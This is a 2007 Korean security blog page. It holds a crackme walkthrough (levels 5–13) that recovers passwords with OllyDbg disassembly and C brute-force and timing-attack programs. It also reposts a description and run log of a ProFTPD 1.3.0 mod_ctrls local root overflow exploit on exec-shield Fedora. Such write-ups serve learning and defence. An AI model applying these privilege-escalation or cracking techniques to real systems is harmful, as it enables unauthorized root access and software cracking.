CUI형태의 패스워드 찾기 문제입니다.

어쩔 수 없이 Olly Debugger를 이용해서 풀기로 결정했습니다.

00401054  |> /E8 E7000000   /CALL app5win.00401140
//사용자 입력값에서 한글자를 가져온다.

00401059  |. |8845 FC       |MOV BYTE PTR SS:[EBP-4],AL
0040105C  |. |8B4D E4       |MOV ECX,DWORD PTR SS:[EBP-1C]
0040105F  |. |8A55 FC       |MOV DL,BYTE PTR SS:[EBP-4]
00401062  |. |88540D CC     |MOV BYTE PTR SS:[EBP+ECX-34],DL
00401066  |. |8B45 E4       |MOV EAX,DWORD PTR SS:[EBP-1C]
00401069  |. |83C0 01       |ADD EAX,1
0040106C  |. |8945 E4       |MOV DWORD PTR SS:[EBP-1C],EAX
0040106F  |. |0FBE4D FC     |MOVSX ECX,BYTE PTR SS:[EBP-4]

00401073  |. |83F9 0A       |CMP ECX,0A
00401076  |. |74 0E         |JE SHORT app5win.00401086
//개행문자?

00401078  |. |0FBE55 FC     |MOVSX EDX,BYTE PTR SS:[EBP-4]

0040107C  |. |85D2          |TEST EDX,EDX
0040107E  |. |74 06         |JE SHORT app5win.00401086
//글자가 있는가?

00401080  |. |837D E4 10    |CMP DWORD PTR SS:[EBP-1C],10
00401084  |.^\72 CE         \JB SHORT app5win.00401054
문자열 길이가 10글자 이하인가?

윗부분은 그냥 사용자로 부터 입력을 받는 부분입니다.

0040109C  |> /8B4D E0       /MOV ECX,DWORD PTR SS:[EBP-20]
0040109F  |. |83C1 04       |ADD ECX,4
004010A2  |. |894D E0       |MOV DWORD PTR SS:[EBP-20],ECX
004010A5  |. |8B55 DC       |MOV EDX,DWORD PTR SS:[EBP-24]
004010A8  |. |83EA 01       |SUB EDX,1
004010AB  |. |8955 DC       |MOV DWORD PTR SS:[EBP-24],EDX
004010AE  |> |837D E0 0D     CMP DWORD PTR SS:[EBP-20],0D
004010B2  |. |73 28         |JNB SHORT app5win.004010DC
004010B4  |. |8B45 E0       |MOV EAX,DWORD PTR SS:[EBP-20]
004010B7  |. |C1E8 02       |SHR EAX,2
004010BA  |. |8B4D F8       |MOV ECX,DWORD PTR SS:[EBP-8]
004010BD  |. |8B55 DC       |MOV EDX,DWORD PTR SS:[EBP-24]
004010C0  |. |8B0481        |MOV EAX,DWORD PTR DS:[ECX+EAX*4]

004010C3  |. |3B4495 E8     |CMP EAX,DWORD PTR SS:[EBP+EDX*4-18]
004010C7  |. |74 11         |JE SHORT app5win.004010DA
//사용자 입력값과 패스워드를 4bytes씩 비교한다.

004010C9  |. |68 4C704000   |PUSH app5win.0040704C                  
;  ASCII "Invalid Password"
004010CE  |. |E8 20000000   |CALL app5win.004010F3

004010D3  |. |83C4 04       |ADD ESP,4
004010D6  |. |33C0          |XOR EAX,EAX
004010D8  |. |EB 15         |JMP SHORT app5win.004010EF

004010DA  |>^\EB C0         \JMP SHORT app5win.0040109C

004010DC  |>  8D4D CC       LEA ECX,DWORD PTR SS:[EBP-34]
004010DF  |.  51            PUSH ECX
004010E0  |.  68 60704000   PUSH app5win.00407060                  
;  ASCII "The password is %s"
004010E5  |.  E8 09000000   CALL app5win.004010F3

굵게 표시한 부분을 통해서 패스워드를 구할 수 있습니다.

처음 요구하는 4bytes가 65 77 6F 70 = powe(레지스터니이니, 거꾸로 봐야 합니다.)
그다음 4bytes가 69 72 74 72 = rtri
그다음 4bytes가 6E 69 70 70 = ppin
그다음 4bytes가 0A 67 = g 개행문자

입니다. 이어서 보면 powertripping라는 문자열이네요.
이걸 한번 입력해 보겠습니다.


사용자 삽입 이미지

========================================
Level6
========================================

이번에도 CUI형태의 패스워드 찾기 문제군요.
Entry부터 살펴보니 다음과 같은 부분이 있더군요.

00401000  /$  55            PUSH EBP
00401001  |.  8BEC          MOV EBP,ESP
00401003  |.  83EC 30       SUB ESP,30
00401006  |.  6A 1C         PUSH 1C                                 
; /BufSize = 1C (28.)
00401008  |.  8D45 DC       LEA EAX,DWORD PTR SS:[EBP-24]          
; |
0040100B  |.  50            PUSH EAX                                
; |Buffer
0040100C  |.  68 D3104000   PUSH app6win.004010D3                  
; |Address = app6win.004010D3
00401011  |.  FF15 04604000 CALL DWORD PTR DS:[<&KERNEL32.VirtualQue>; \VirtualQuery

00401017  |.  8B4D F0       MOV ECX,DWORD PTR SS:[EBP-10]
0040101A  |.  894D D0       MOV DWORD PTR SS:[EBP-30],ECX
0040101D  |.  8B55 D0       MOV EDX,DWORD PTR SS:[EBP-30]
00401020  |.  83E2 DD       AND EDX,FFFFFFDD
00401023  |.  8955 D0       MOV DWORD PTR SS:[EBP-30],EDX
00401026  |.  8B45 D0       MOV EAX,DWORD PTR SS:[EBP-30]
00401029  |.  0C 04         OR AL,4
0040102B  |.  8945 D0       MOV DWORD PTR SS:[EBP-30],EAX
0040102E  |.  8D4D D8       LEA ECX,DWORD PTR SS:[EBP-28]
00401031  |.  51            PUSH ECX                                 ; /pOldProtect
00401032  |.  8B55 D0       MOV EDX,DWORD PTR SS:[EBP-30]            ; |
00401035  |.  52            PUSH EDX                                 ; |NewProtect
00401036  |.  68 D0000000   PUSH 0D0                                 ; |Size = D0 (208.)
0040103B  |.  68 D3104000   PUSH app6win.004010D3                    ; |Address = app6win.004010D3
00401040  |.  FF15 00604000 CALL DWORD PTR DS:[<&KERNEL32.VirtualPro>; \VirtualProtect

00401046  |.  C745 F8 D3104>MOV DWORD PTR SS:[EBP-8],app6win.004010D>;  Entry address
0040104D  |.  C745 FC 00000>MOV DWORD PTR SS:[EBP-4],0
00401054  |.  EB 09         JMP SHORT app6win.0040105F
00401056  |>  8B45 FC       /MOV EAX,DWORD PTR SS:[EBP-4]
00401059  |.  83C0 01       |ADD EAX,1
0040105C  |.  8945 FC       |MOV DWORD PTR SS:[EBP-4],EAX
0040105F  |>  837D FC 33     CMP DWORD PTR SS:[EBP-4],33
00401063  |.  73 19         |JNB SHORT app6win.0040107E
00401065  |.  8B4D FC       |MOV ECX,DWORD PTR SS:[EBP-4]
00401068  |.  8B55 F8       |MOV EDX,DWORD PTR SS:[EBP-8]
0040106B  |.  8B048A        |MOV EAX,DWORD PTR DS:[EDX+ECX*4]
0040106E  |.  35 BECAEFBE   |XOR EAX,BEEFCABE
00401073  |.  8B4D FC       |MOV ECX,DWORD PTR SS:[EBP-4]
00401076  |.  8B55 F8       |MOV EDX,DWORD PTR SS:[EBP-8]
00401079  |.  89048A        |MOV DWORD PTR DS:[EDX+ECX*4],EAX
0040107C  |.^ EB D8         \JMP SHORT app6win.00401056

004010D3 이라는 코드부분을 0xBEEFCABE와 XOR 시키며 복호화 시키네요.

복호화 시킨 부분에 가보니 다음과 같은 코드가 있었습니다.

004010D6  |.  83EC 2C       SUB ESP,2C
004010D9  |.  C745 F0 63616>MOV DWORD PTR SS:[EBP-10],0A6C6163
004010E0  |.  C745 F4 6D616>MOV DWORD PTR SS:[EBP-C],6967616D
004010E7  |.  68 40704000   PUSH app6win.00407040                   
;  ASCII "Please enter the password:"
004010EC  |.  E8 47050000   CALL app6win.00401638

저 숫자 부분을 ASCII로 써보면 magical 이죠.
한번 입력해 보았습니다.

사용자 삽입 이미지

========================================
Level7
========================================

이번에는 난이도가 medium으로 바뀌었네요.
OllyDebugger로 풀다보면 다음과 같은 코드부분이 보입니다.

004010D8  |> \8B45 E0       |MOV EAX,DWORD PTR SS:[EBP-20]
004010DB  |.  25 FF000000   |AND EAX,0FF
004010E0  |.  3345 E4       |XOR EAX,DWORD PTR SS:[EBP-1C]
004010E3  |.  8B4D E8       |MOV ECX,DWORD PTR SS:[EBP-18]
004010E6  |.  03C8          |ADD ECX,EAX
004010E8  |.  894D E8       |MOV DWORD PTR SS:[EBP-18],ECX
004010EB  |.  8B55 E0       |MOV EDX,DWORD PTR SS:[EBP-20]
004010EE  |.  81E2 FF000000 |AND EDX,0FF
004010F4  |.  3355 E4       |XOR EDX,DWORD PTR SS:[EBP-1C]
004010F7  |.  8B45 DC       |MOV EAX,DWORD PTR SS:[EBP-24]
004010FA  |.  885405 EC     |MOV BYTE PTR SS:[EBP+EAX-14],DL
004010FE  |.  C745 D8 00000>|MOV DWORD PTR SS:[EBP-28],0
00401105  |.  EB 09         |JMP SHORT app7win.00401110

사용자로 부터 입력받은값을 모두 더한 다음,
그것을 특정한 문자와 xor 시키네요.
특정한 문자를 순서대로 나열해 보면, 1M953 이네요.
그리고 이xor한것들의 합이

0040118C  |.  817D E8 CA0D0>CMP DWORD PTR SS:[EBP-18],0DCA
00401193  |.  75 13         JNZ SHORT app7win.004011A8

00401195  |.  8D4D EC       LEA ECX,DWORD PTR SS:[EBP-14]
00401198  |.  51            PUSH ECX
00401199  |.  68 94804000   PUSH app7win.00408094                    ;  ASCII "Congratulations, The password is '%s'"
0040119E  |.  E8 18000000   CALL app7win.004011BB
004011A3  |.  83C4 08       ADD ESP,8
004011A6  |.  EB 0D         JMP SHORT app7win.004011B5
004011A8  |>  68 BC804000   PUSH app7win.004080BC                    ;  ASCII "Invalid Password"

0x0DCA이길 요구하고 있네요.

그렇게 되는 값이 뭔지는 브루투 포싱을 이용해서 구하는게 편할거 같습니다.
간단한 다음과 같은 코드를 작성해 보았습니다.

#include <stdio.h>
int main(int argc,char *argv[])
{
  int r1,r2,r3,r4,r5;
  long cnt,sum;
  for(cnt = 0; sum != 0xdca; cnt++)
  {
       r1 = cnt ^ 0x31;
r2 = cnt ^ 0x4d;
r3 = cnt ^ 0x39;
r4 = cnt ^ 0x35;
r5 = cnt ^ 0x33;
sum = r1 + r2 + r3 + r4 + r5;
       printf("cnt : 0x%X sum : 0x%X\n",cnt,sum);
  }
  printf("Result is : 0x%X\n",cnt-1);
}

실행시키어 보면,

-bash-2.05b$ ./test
...........
cnt : 0x2EA sum : 0xE0D
cnt : 0x2EB sum : 0xE08
cnt : 0x2EC sum : 0xE0B
cnt : 0x2ED sum : 0xE06
cnt : 0x2EE sum : 0xE11
cnt : 0x2EF sum : 0xE0C
cnt : 0x2F0 sum : 0xDCF
cnt : 0x2F1 sum : 0xDCA
Result is : 0x2F1

결과는 0x2F1이군요.
각각의 문자의 합이 0x2F1이 되는 문자들을 구해보면 되겠습니다.

DualWin3라는 문자열은
0x44 + 0x75 + 0x61 + 0x6C + 0x57 + 0x69 + 0x6E + 0x33 + 0xA = 0x2F1 임으로
DualWin3는 이문제의 답중에 하나가 되겠죠?
한번 입력해 보았습니다.

사용자 삽입 이미지

========================================
Level8
========================================

문제에서 요구하는것은 7개의 숫자키를 입력해서 값을 알아내는 것인데,
String 목록에서 Corret!라는 문자열을 사용하는 코드 부분으로 부터
위쪽으로 따라올라가면 다음과 같은 분기문을 만날 수 있습니다.

0040715B   .  66:83BD 68FBF>CMP WORD PTR SS:[EBP-498],0
00407163   .  0F84 5D050000 JE 사본_-_a.004076C6

00407169   .  8D45 D4       LEA EAX,DWORD PTR SS:[EBP-2C]
0040716C   .  8D8D 44FDFFFF LEA ECX,DWORD PTR SS:[EBP-2BC]
00407172   .  50            PUSH EAX
00407173   .  6A 08         PUSH 8

위의 분기문을 만족시키면 올바른 숫자들이 되는것입니다.
이 부분은 Label1이 Change 될떄 마다 호출되는 부분으로써,

사용자 삽입 이미지


0x406d40으로 부터 시작합니다.
코드를 아래로 훓고 내려가다 보면 어렵지 않게 다음과 같이 사용자 입력값과
어떠한 값을 비교하고 있는것을 볼 수 있습니다.

004070CA   .  51            PUSH ECX
004070CB   .  52            PUSH EDX
004070CC   .  FFD7          CALL EDI
004070CE   .  50            PUSH EAX
004070CF   .  FF15 4C104000 CALL DWORD PTR DS:[<&MSVBVM60.__vbaVarTstEq>]     ;  MSVBVM60.__vbaVarTstEq

이때에 재가 입력한 값은 123456 입니다.
Stack은 다음과 같이 되어있었습니다.

0012EDF4   0012F180  |Arg1 = 0012F180
0012EDF8   0012F170  \Arg2 = 0012F170


0x12f170으로 가보면,

0012F170  08 80 00 00 58 F2 12 00 4C 51 15 00 00 00 DF 00  ?..X?.LQ...?
0012F180  08 00 00 00 E8 22 E0 00 74 4F 15 00 00 00 00 00  ...??tO.....


0x15514c에 사용자가 입력한 값이, 0x154f74에 올바른 7개의 숫자가 들어
있음을 볼 수 있습니다.

0015514C  31 00 32 00 33 00 34 00 35 00 36 00 00              1.2.3.4.5.6..

00154F74  39 00 32 00 35 00 32 00 34 00 38 00 00 00 AD BA  9.2.5.2.4.8...

올바른 숫자인 925248을 프로그램에 입력해 보았습니다.

사용자 삽입 이미지

========================================
Level9
========================================

이 문제는 뭐하라는건지..
잘 이해를 못해서 -_-;; 제대로 풀지 못했습니다.
아마 지금 재가 적는 방법은 아닐꺼에요.
원래 이문제가 뭐하는 문제인지 아시는 분은 답변 달아주세요.
재가 생각하고 푼 방식은 Play Button을 누를떄 나오는,
Beep음들의 수치들로 세 버튼의 값을 변경하라는 것으로 생각하고 풀었습니다.

SmartCheck의 힘을 빌려 Play Button 을 누를때의 값을 보면,

Freq = 100 (0x64)
Duration = 300
Freq = 500 (0x1F4)
""
Freq = 1000 (0x3E8)
""

004055AF  |.  68 2C010000   PUSH 12C
004055B4  |.  6A 64         PUSH 64 //100
004055B6  |.  E8 E1FBFFFF   CALL app9win.0040519C
004055BB  |.  8B35 18104000 MOV ESI,DWORD PTR DS:[<&MSVBVM60.__vbaSe>;  MSVBVM60.__vbaSetSystemError
004055C1  |.  FFD6          CALL ESI                                 ; 
<&MSVBVM60.__vbaSetSystemError>

004055C3  |.  68 2C010000   PUSH 12C
004055C8  |.  68 F4010000   PUSH 1F4 //500
004055CD  |.  E8 CAFBFFFF   CALL app9win.0040519C
004055D2  |.  FFD6          CALL ESI

004055D4  |.  68 2C010000   PUSH 12C
004055D9  |.  68 E8030000   PUSH 3E8 //1000
004055DE  |.  E8 B9FBFFFF   CALL app9win.0040519C
004055E3  |.  FFD6          CALL ESI

이고

나머지 Match 버튼들의 경우

00405647  |.  56            PUSH ESI
00405648  |.  8975 08       MOV DWORD PTR SS:[EBP+8],ESI
0040564B  |.  8B0E          MOV ECX,DWORD PTR DS:[ESI]
0040564D  |.  FF51 04       CALL DWORD PTR DS:[ECX+4]
00405650  |.  8B56 34       MOV EDX,DWORD PTR DS:[ESI+34]
//[ESI+38] [ESI+3C]
00405653  |.  68 2C010000   PUSH 12C
00405658  |.  52            PUSH EDX
00405659  |.  E8 3EFBFFFF   CALL app9win.0040519C
0040565E  |.  FF15 18104000 CALL DWORD PTR DS:[<&MSVBVM60.__vbaSetSy>;  MSVBVM60.__vbaSetSystemError

특정한 주소에서 값을 가져와 출력하는데 각각 200, 600, 1100입니다.
100씩 값이 더해져 있는 상태인데요.
이 배열의 값을 바꿔주어 보았습니다.

바꾸기전 :

0014F1DC  C8 00 00 00 58 02 00 00 4C 04 00 00              ?..X..L..,
바꾸고 난 후 :

0014F1DC  64 00 00 00 F4 01 00 00 E8 03 00 00              d...?..?..,M



사용자 삽입 이미지


========================================
Level10
========================================

사용자 삽입 이미지

Proceed 의 코드는 다음과 같았습니다.

00405500   > \55            PUSH EBP
00405501   .  8BEC          MOV EBP,ESP
00405503   .  83EC 0C       SUB ESP,0C
00405506   .  68 C6104000   PUSH <JMP.&MSVBVM60.__vbaExceptHandler>  ;  SE handler installation
0040550B   .  64:A1 0000000>MOV EAX,DWORD PTR FS:[0]
00405511   .  50            PUSH EAX
00405512   .  64:8925 00000>MOV DWORD PTR FS:[0],ESP
00405519   .  81EC 88000000 SUB ESP,88
0040551F   .  53            PUSH EBX
00405520   .  56            PUSH ESI
00405521   .  57            PUSH EDI
00405522   .  8965 F4       MOV DWORD PTR SS:[EBP-C],ESP
00405525   .  C745 F8 B0104>MOV DWORD PTR SS:[EBP-8],app10win.004010>
0040552C   .  8B45 08       MOV EAX,DWORD PTR SS:[EBP+8]
0040552F   .  8BC8          MOV ECX,EAX
00405531   .  83E1 01       AND ECX,1
00405534   .  894D FC       MOV DWORD PTR SS:[EBP-4],ECX
00405537   .  24 FE         AND AL,0FE
00405539   .  50            PUSH EAX
0040553A   .  8945 08       MOV DWORD PTR SS:[EBP+8],EAX
0040553D   .  8B10          MOV EDX,DWORD PTR DS:[EAX]
0040553F   .  FF52 04       CALL DWORD PTR DS:[EDX+4]
00405542   .  8B3D 74104000 MOV EDI,DWORD PTR DS:[<&MSVBVM60.__vbaVa>;  MSVBVM60.__vbaVarDup
00405548   .  B9 04000280   MOV ECX,80020004
0040554D   .  33F6          XOR ESI,ESI
0040554F   .  894D B4       MOV DWORD PTR SS:[EBP-4C],ECX
00405552   .  B8 0A000000   MOV EAX,0A
00405557   .  894D C4       MOV DWORD PTR SS:[EBP-3C],ECX
0040555A   .  BB 08000000   MOV EBX,8
0040555F   .  8975 BC       MOV DWORD PTR SS:[EBP-44],ESI
00405562   .  8975 AC       MOV DWORD PTR SS:[EBP-54],ESI
00405565   .  8975 8C       MOV DWORD PTR SS:[EBP-74],ESI
00405568   .  8D55 8C       LEA EDX,DWORD PTR SS:[EBP-74]
0040556B   .  8D4D CC       LEA ECX,DWORD PTR SS:[EBP-34]
0040556E   .  8975 DC       MOV DWORD PTR SS:[EBP-24],ESI
00405571   .  8975 CC       MOV DWORD PTR SS:[EBP-34],ESI
00405574   .  8975 9C       MOV DWORD PTR SS:[EBP-64],ESI
00405577   .  8945 AC       MOV DWORD PTR SS:[EBP-54],EAX
0040557A   .  8945 BC       MOV DWORD PTR SS:[EBP-44],EAX
0040557D   .  C745 94 A8454>MOV DWORD PTR SS:[EBP-6C],app10win.00404>;  UNICODE "Error-266"
00405584   .  895D 8C       MOV DWORD PTR SS:[EBP-74],EBX
00405587   .  FFD7          CALL EDI                                 ;  <&MSVBVM60.__vbaVarDup>
00405589   .  8D55 9C       LEA EDX,DWORD PTR SS:[EBP-64]
0040558C   .  8D4D DC       LEA ECX,DWORD PTR SS:[EBP-24]
0040558F   .  C745 A4 5C454>MOV DWORD PTR SS:[EBP-5C],app10win.00404>;  UNICODE "Error: 404 object(pwd); not found!"
00405596   .  895D 9C       MOV DWORD PTR SS:[EBP-64],EBX
00405599   .  FFD7          CALL EDI
0040559B   .  8D45 AC       LEA EAX,DWORD PTR SS:[EBP-54]
0040559E   .  8D4D BC       LEA ECX,DWORD PTR SS:[EBP-44]
004055A1   .  50            PUSH EAX
004055A2   .  8D55 CC       LEA EDX,DWORD PTR SS:[EBP-34]
004055A5   .  51            PUSH ECX
004055A6   .  52            PUSH EDX
004055A7   .  8D45 DC       LEA EAX,DWORD PTR SS:[EBP-24]
004055AA   .  6A 30         PUSH 30
004055AC   .  50            PUSH EAX
004055AD   .  FF15 18104000 CALL DWORD PTR DS:[<&MSVBVM60.#595>]     ;  MSVBVM60.rtcMsgBox

무슨짓을 하든 메시지 박스가 뜨게 되있더군요.
무언가 이상하다고 생각해서 VBForm을 떠보니,

사용자 삽입 이미지

Proceed 버튼 뒤에 Label이 하나 숨켜져 있었군요.
OllyDbg의 플러그인인 윈도우즈 저글러로 앞에 있는 버튼을 Hide 시킨 후,
뒤에 있는 Label을 누르면...

사용자 삽입 이미지

========================================
Level11
========================================

레벨11은 PoisionSea라는 함정이 있습니다.
이 함정에 걸려 들면 안되고..
윈도우즈 저글러를 이용해 대상을 최대화 시키면..

사용자 삽입 이미지

========================================
Level12
========================================

레벨12의 힌트는 답은 진짜 단어라는군요.

사용자 삽입 이미지

저 부분에서 비교하는 걸 볼 수 있습니다.
저 부분에 OllyDbg에서 BreakPoint를 걸고 기다리니..

001568C4  43 00 72 00 20 00 20 00 70 00 20 00 72           C.r. . .p. .r

답은 Crxxpr 일텐데, 딱 떠오르는 단어가 Creeper 였습니다.
그래서 한번 입력해 보았더니..

사용자 삽입 이미지


========================================
Level13 - 마지막 문제
========================================

개인적으로 가장 재미났던 문제입니다.
마치 첩보영화에서나 나올듯한 방법으로 해결해야 하는 문제 입니다.

대상을 처음 키면 다음과 같은 메시지가 나옵니다.

사용자 삽입 이미지

별 내용은 아니고, 숫자의 범위는 0 < 숫자 < 1000이고 만약 숫자가 전부 맞다면,
프로그램은 패스워드를 출력해 줄 것이고, 틀리면 아무것도 출력하지 않고
종료 하며, 이 프로그램의 접근방식은 디버깅이 아니라는군요.

그렇다면 어떻게 이 문제를 풀 수 있을까요?

생각보다 아이디어는 간단합니다.
우리가 대상에 숫자를 입력하면 대상은 우리가 입력한 숫자가 올바른지 아닌지
비교할 것입니다. 만약 틀리다면 그냥 종료할테고, 만약 맞는 숫자라면
그 다음 비교문을 실행해 보겠죠.

즉 올바른 숫자에서는 올바르지 않는 숫자에서 보다 실행 시간이 오래 걸립니다.
숫자를 Brute Forcing 해보면서 가장 처리시간이 오래 걸리는 숫자를 찾으면 되는 것입니다.

다음과 같은 코드를 작성해 보았습니다.

#include "stdafx.h"
#include <stdlib.h>
#include <windows.h>
#include <conio.h>
int main(int argc, char* argv[])
{
int num[4] = { 1,1,1,1};
char argvs[1024];
LARGE_INTEGER initial;
LARGE_INTEGER freq;
LARGE_INTEGER counter;
register double Start;
register double End;
int cnt;
register double maxtime = 0;
printf("Press any key to start..\n");
getch();
for(register int i = 0; i < 4; i++)
{
QueryPerformanceCounter(&initial);
for(register int j = 1; j < 1000; j++)
{
 num[i] = j;
 QueryPerformanceCounter(&counter);
 QueryPerformanceFrequency(&freq);
 Start = ((double)(counter.QuadPart - initial.QuadPart)) / ((double)freq.QuadPart);
 sprintf(argvs,"app13win.exe %d %d %d %d",num[0],num[1],num[2],num[3]);
 system(argvs);
 QueryPerformanceCounter(&counter);
 QueryPerformanceFrequency(&freq);
 End = ((double)(counter.QuadPart-initial.QuadPart))/((double)freq.QuadPart);
 if((End - Start) > maxtime)
 {
   maxtime = End-Start;
   cnt = j;
   if(j == 1)
    maxtime = 0;
 } 
}
num[i] = cnt;
printf("number %d - %d\n",i+1,cnt);
}
//printf("Find Serial is : %d-%d-%d-%d\n",num[0],num[1],num[2],num[3]);
return 0;
}


위의 코드는 자동으로 올바른 4개의 숫자를 찾아내어 줍니다.
4번쨰 숫자를 찾는 순간 다음과 같이 성공 메시지가 뜹니다.


사용자 삽입 이미지

주의점 : 본 코드를 실행하는 동안 다른 작업을 하면 잘못된 결과가 나올 수 있습니다.

========================================
후기
========================================

crackme 보다는 난이도는 쉬운 편이지만,
새롭게 생각하는 방법을 알게 해주는 문제들 입니다.
단지 비쥬얼 베이직에 좀 치우쳐 있다는 점이
아쉬움에 남습니다.


PDF Version :
test.PDF
이올린에 북마크하기(0) 이올린에 추천하기(0)

Posted by Dual

2007/04/14 13:34 2007/04/14 13:34
Response
No Trackback , No Comment
RSS :
http://dual5651.hacktizen.com/tc/rss/response/277

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/277

Leave a comment

유동훈(xpl017Elz)님께서 ProFTPD 1.30 LOF Exploit 공개


ProFTPD 1.3.0/1.3.0a (mod_ctrls) Local Overflow Exploit (exec-shield)


제목에서 보다싶이, 이 exploit은 exec-shield 상에서 동작 합니다.
다음은 유동훈님께서 작성하신 설명파일입니다.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

proftpd 1.3.0, 1.3.0a mod_ctrls standalone daemon local `one shot' exploit
                                             in Fedora core 6 exec-shield
                                                       (c) Xpl017Elz 2007

(1) Overview

Core Security Technologies에서는 2006년 12월, mod_ctrls가 활성 중인
proftpd 1.3.0, 1.3.0a 버전에서 stack overflow 취약점이 존재하는 것을
발견하였다.

Advisory URL: http://www.coresecurity.com/?module=ContentMod&action=item&id=1594

내가 관심있는 사항은 최근 몇 년간 exec-shield를 사용하는 RedHat 계열
운영체제에 대한 standalone daemon exploit이 거의 없다는 사실이다.
게다가 그것은 예전 exploit들에 비해 이식성과 범용성이 떨어지며, 단 한번에
공격을 성공시켜야 되는 exploit 되기 힘든 몇 가지 난관들이 존재하고 있다.

이렇듯 exec-shield를 사용 중인 RedHat 시스템에서 stack 기반 overflow 기법으로
한번에 공격에 성공할 확률은 그리 높지 않다. 이것은 그동안 많은 전문가들에
의해 증명되었고, 그 결과 exec-shield를 사용하는 운영체제의 remote exploit이
줄어든 것도 사실이다. 그럼, 본격적으로 proftpd 취약점에 대해 설명하도록
하겠다.

--enable-ctrls 옵션이 활성된 proftpd 1.3.0과 1.3.0a 버전은 local exploit이
가능하다. 다만, 그것이 standalone daemon을 상대하는 exploit이라는 점에서
remote exploit 만큼 성공시키기 어렵다고 볼 수 있다. 옵션이 활성 상태인지
ftpdctl 명령을 통해 확인 가능하다.

--enable-ctrls 옵션이 활성된 경우:

--
$ /usr/local/bin/ftpdctl -h
usage: ftpdctl [options]
  -h    displays this message
  -s    specify an alternate local socket
  -v    displays more verbose information

$
--

비활성 상태인 경우:

--
$ ./ftpdctl -h
ftpdctl:
  Controls support disabled.
  Please recompile proftpd using --enable-ctrls
$
--

mod_ctrls에 대해 더 자세한 사항은 다음 URL을 참고하기 바란다.

http://www.castaglia.org/proftpd/modules/mod_ctrls.html

(2) Vulnerable Packages

proftpd-1.3.0 (stable)  - mod_ctrls compiled
proftpd-1.3.0a (stable) - mod_ctrls compiled

(3) Exploit

우선, exploit이 가능한 조건은 앞서 설명한데로 configure --enable-ctrls 옵션을
포함하여 설치되야 한다는 점이다. 그리고 공격자는 local 계정을 가지고 있어야
한다. 이것은 디버깅이 가능한 환경이기 때문에 원격에서 daemon을 공격하는 것보다
더 유리한 조건의 local daemon exploit 이라 할 수 있다.

- 주 공격 포인트

1) mod_ctrl 모드로 컴파일된 proftpd daemon은 오직 standalone mode로만 동작한다.
  그래서, 공격자는 단 한 번에 exploit을 성공시켜야 하는 조건이 따른다.

2) daemon의 고유 uid는 root(uid=0)로 수행되지만, euid는 nobody 권한으로
  동작한다. root로 명령을 수행하려면, setuid() 계열 함수와 함께 수행되야 한다.
  예를 들면, chmod() 함수만으로는 local의 원하는 파일에 setuid 권한 설정이
  불가능하다.

3) read() 함수를 통해 내용을 받기 때문에 buffer에 NULL 입력이 가능하다.
  비록 NULL 입력이 가능한 환경일지라도, random 하게 변하는 16mb 미만 주소를
  단 한번에 맞춰 공격하는 것은 사실 상 불가능하다.

4) local의 ftpdctl 명령을 통해 원하는 내용을 입력하는 것이 가능하다.
  그래서, 우리의 exploit은 ftpdctl 명령을 사용할 것이다.

5) 나의 FC5, FC6 시스템에서는 540byte 후에 이전 함수의 %eip 레지스터가
  덮어씌워지는 것을 시험할 수 있었다.

6) proftpd는 다행히 fork() 되는 프로세스의 uid까지 nobody로 만들지 않는다.
  앞서, 2)번 사항을 극복하기 위해 exec family 함수 중 하나인, execve()
  함수를 호출하여 원하는 명령을 root 권한으로 실행할 것이다.

7) (execve()>>16)&0xff 값은 endpwent() 함수의 GOT에서 얻어오고,
  (execve()>>8)&0xff 값은 FC5의 경우 srand() 함수의 GOT, FC6의 경우
  accept() 함수의 GOT를 통해 얻어온다.

당신은 다음과 같이 getconf.sh 스크립트를 통해 자동화된 exploit을
구동시킬 수 있다.

--
[x82@localhost pr0ftpd]$ id
uid=500(x82) gid=500(x82) groups=500(x82)
[x82@localhost pr0ftpd]$ cat /etc/redhat-release
Fedora Core release 6 (Zod)
[x82@localhost pr0ftpd]$ ./getconf.sh
#
# proftpd 1.3.0, 1.3.0a mod_ctrls standalone daemon local root exploit
# by Xpl017Elz
#
# [+] check mod_ctrls install: [OK]
# [+] find os type: {1} - Fedora Core release 6 (Zod)
# [+] check proftpd binary /usr/local/sbin/proftpd: [OK]
# [+] strcpy()'s plt address: 0x0804a75c
# [+] 12byte %esp move code address: 0x804af7f
# [+] __libc_start_main()'s GOT address: 0x080b21d0
# [+] __libc_start_main()'s PLT address: 0x0804a45c
# [+] get 0xfc byte address (FC5): 0x80a4dda
# [+] virtual address start: 0x08048000
# [+] get null byte physical offset: 0x0000120
# [+] srand()'s GOT POINTER address (FC5): 0x080b2114
# [+] accept()'s GOT POINTER address (FC6): 0x080b2238
# [+] endpwent()'s GOT POINTER address: 0x080b2364
# [+] /tmp/ftp.cl path address: 0x80a9fd5
# [+] make header file
# [+] compile pr0ftpd_modctrls.c
# [*] execute pr0ftpd_modctrls
#
# [+] make shell
# [+] make payload
# [*] execute `/usr/local/bin/ftpdctl'
#
ftpdctl: error receiving response: Operation not permitted
#
# [+] remove files
# [*] exploit successfully!
# [*] It's root shell :-}
#
sh-3.1# id
uid=0(root) gid=0(root) groups=500(x82)
sh-3.1#
--

단 한번의 공격으로 쉘 실행에 성공한 것을 볼 수 있다.

--
By "dong-houn yoU" (Xpl017Elz), in INetCop Security Co., LTD.

MSN & E-mail: szoahc(at)hotmail(dot)com,
             xploit(at)hackermail(dot)com

INetCop Security Home: http://www.inetcop.net
            My World: http://x82.inetcop.org

GPG public key: http://x82.inetcop.org/h0me/pr0file/x82.k3y
--

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

exec-shiled에서 실제적으로 어떻게 한번에 exploit에 성공
할 수 있는지에 대해 알고 싶었던 분들에게 도움이 될 수 있겠고,
웹호스팅 업체에서 Proftp를 돌리던 분들은 조 심해야 겠네요.

이올린에 북마크하기

Posted by Dual

2007/04/14 11:39 2007/04/14 11:39
Response
No Trackback , No Comment
RSS :
http://dual5651.hacktizen.com/tc/rss/response/276

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/276

Leave a comment

Fish Fish

사용자 삽입 이미지


흐흐.. 물고기가 먹고 싶은 날이네요.
흠 저건 동대문쪽에선 못봤는데,
좀 상류쪽이나, 좀더 하류쪽에 있나 보네요.
이올린에 북마크하기

Posted by Dual

2007/04/12 23:09 2007/04/12 23:09
Response
No Trackback , No Comment
RSS :
http://dual5651.hacktizen.com/tc/rss/response/275

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/275

Leave a comment

PADOCON 2007 사진이 올라왔네요~

  • Posted at 2007/04/11 08:07
  • Filed under 헛소리
